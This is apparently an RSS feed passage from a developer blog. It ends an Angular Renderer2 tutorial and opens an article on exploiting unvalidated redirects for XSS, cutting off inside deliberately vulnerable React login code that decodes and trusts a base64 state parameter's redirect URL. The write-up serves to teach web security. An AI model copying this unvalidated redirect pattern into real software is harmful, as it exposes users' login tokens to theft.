    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;backgroundColor&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;yellow&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;onHover&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;User is hovering over the element&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You might wonder when to use RendererFactory2. Think of Renderer2 as the tool you hold in your hand. RendererFactory2 is the factory that builds that tool. Most of the time, you just inject Renderer2. But if you are working in a service where there is no specific element to attach to, you might need the factory to create a renderer for you. Here is how that looks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Injectable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;RendererFactory2&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Injectable&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;providedIn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DynamicThemeService&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;factory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;RendererFactory2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="c1"&gt;// We create a renderer that is not tied to any specific component&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;renderer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;factory&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createRenderer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;applyGlobalTheme&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;themeName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;themeName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Practical use cases for &lt;code&gt;Renderer2&lt;/code&gt; usually pop up when you are dealing with things that live outside the standard Angular template logic.&lt;/p&gt;

&lt;p&gt;A great example is handling &lt;a href="https://dev.to/krivanek06/angular-default-image-placeholder-3dfc"&gt;image loading issues&lt;/a&gt;. You use the renderer to listen for the "error" event on an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag and then safely swap the &lt;code&gt;src&lt;/code&gt; attribute to a backup image. This prevents your UI from looking broken if an external link fails, and it works perfectly even if you are using Server Side Rendering.&lt;/p&gt;

&lt;p&gt;Another high level case is discussed in the &lt;a href="https://dev.to/playfulprogramming-angular/web-components-in-angular-why-passing-inputs-breaks-on-navigation-52b6"&gt;blogpost about web components in Angular&lt;/a&gt;. When you use custom elements, standard Angular inputs can sometimes fail during navigation between pages. Using the renderer to manually set properties or attributes on those web components ensures that the data stays synced and the component does not break when the user moves around your app.&lt;/p&gt;

&lt;p&gt;Finally, when you need to build &lt;a href="https://dev.to/playfulprogramming-angular/angular-custom-matpaginator-styling-en6"&gt;custom angular material pagination&lt;/a&gt;. Since the internal parts of material components are often hidden or hard to reach, the renderer lets you find those specific buttons or labels to inject custom logic or styles. This allows you to create a unique user experience without having to rewrite the entire pagination logic from scratch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;A great video on this topic is from &lt;a href="https://www.youtube.com/watch?v=t0WvhimkM7Q" rel="noopener noreferrer"&gt;Decoded Frontend - The Role of Renderer2 in Modern Angular&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;  While many problems have multiple solutions, you can solve many cases by just simply accessing the DOM directly, however using renderer, it gives you a safe, SSR compatible, way of doing so. Understanding how it works, allows you to solve problems in a cleaner way. Hope you liked this example, catch more of my articles on&amp;nbsp;&lt;a href="https://dev.to/krivanek06"&gt;dev.to&lt;/a&gt;, connect with me on&amp;nbsp;&lt;a href="https://www.linkedin.com/in/eduard-krivanek" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&amp;nbsp;or check my&amp;nbsp;&lt;a href="https://eduardkrivanek.com/" rel="noopener noreferrer"&gt;Personal Website&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>angular</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Exploiting Unvalidated Redirects for XSS</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Tue, 06 Jan 2026 14:21:39 +0000</pubDate>
      <link>https://dev.to/playfulprogramming/exploiting-unvalidated-redirects-for-xss-ai</link>
      <guid>https://dev.to/playfulprogramming/exploiting-unvalidated-redirects-for-xss-ai</guid>
      <description>&lt;p&gt;Being in web development for a while, you start exploring different domains than just mastering your favourite framework. I decided to learn more about web security. We hear a lot about preventing our web apps from exploitation, sanitize data, never trust user inputs, so on, so on… the truth is that we overlook (willingly or accidentally) security holes when developing new features, which can lead exploits and production outage.&lt;/p&gt;

&lt;p&gt;In this post, I want to explore how an attacker can potentially steal client side information or inject scripts using unvalidated redirects. For this example we will use a dashboard application in Angular, an authentication app in React, and a server in NestJS. In real life you would have a dedicated identity server, just for authentication, but this setup is good enough for our demonstration.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Scenario
&lt;/h2&gt;

&lt;p&gt;Here is the scenario. Imagine you are in a large organization with multiple production applications. Each app lives on a separate URL, fulfilling a different business purpose. However, you want a centralized login system. You have one authentication endpoint where each user logs in, and the server verifies their identity. Something as showed on the following image:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpda7nvzdzxirecfj9x6q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpda7nvzdzxirecfj9x6q.png" alt="Gemini: Multi App Authentication Example" width="800" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Expected Behaviour
&lt;/h2&gt;

&lt;p&gt;First I want to describe the expected behaviour (”happy path”) with this approach, how we assume the user should use the app. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Initial load - You start on the main application (&lt;code&gt;http://localhost:4200&lt;/code&gt;), we use localhost, but the can be any kind of domain name.&lt;/li&gt;
&lt;li&gt;Redirect to auth - Since you are not logged in (no token in LocalStorage), the app redirects you to the Auth Server (&lt;code&gt;http://localhost:4201&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;State passing - We send a base64 encoded &lt;code&gt;state&lt;/code&gt; query parameter (context) to the auth app from the origin. Encoding data as who created the redirection, the origin name (&lt;code&gt;appName&lt;/code&gt;), where to return (&lt;code&gt;redirectUrl&lt;/code&gt;), and a tracking ID (&lt;code&gt;traceId&lt;/code&gt;) for monitoring.&lt;/li&gt;
&lt;li&gt;Success - Once authenticated, the user is redirected back to the original app (&lt;code&gt;http://localhost:4200&lt;/code&gt; - information from the &lt;code&gt;redirectUrl&lt;/code&gt;), with a JWT token in the query parameter.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnacsbyb4zrddosm8h49d.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnacsbyb4zrddosm8h49d.gif" alt="Authentication Expected Behaviour" width="800" height="726"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The decoded &lt;code&gt;state&lt;/code&gt; query param passes to the auth application can be seen in the “debug” green section. When user logs in, back in the original (Angular) app, we grab the JWT token, remove it from the query param and save it into localstorage and to the application internal state. In the GIF above you can see displayed in console this JWT token. This is how it’s done in Angular, just for some overview:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;App&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;appState&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AppState&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;router&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Router&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;afterNextRender&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// check URL for token on initial load - user authenticated&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="c1"&gt;// custom logic to parse the JWT into normal object&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decodedToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;customDecodeToken&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;decodedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// clean URL to remove token param&lt;/span&gt;
        &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replaceState&lt;/span&gt;&lt;span class="p"&gt;({},&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// save the user to the application state&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;decodedToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// persist data for application reload&lt;/span&gt;
        &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;access_token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// redirect to the app&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;navigate&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/overview&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Overview Of XSS Vulnerability In Redirection
&lt;/h2&gt;

&lt;p&gt;The application works fine, so where exactly is the potential bug ? We need to take a look at the React (authentication) app. Even if you are not familiar with React, the logic here is straightforward:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// used in HTML to set auth data&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setUsername&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;authLogin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setPassword&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;authLogin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// decoded from the URL `state` query param&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;appName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setAppName&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setRedirectUrl&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;traceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setTraceId&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// read the 'state' query param&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stateParam&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;state&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;stateParam&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; 
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// decode base64 - vulnerability&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decodedString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stateParam&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stateData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;decodedString&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// extract context information&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stateData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nf"&gt;setAppName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stateData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stateData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nf"&gt;setRedirectUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stateData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stateData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;traceId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nf"&gt;setTraceId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stateData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;traceId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;    
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;

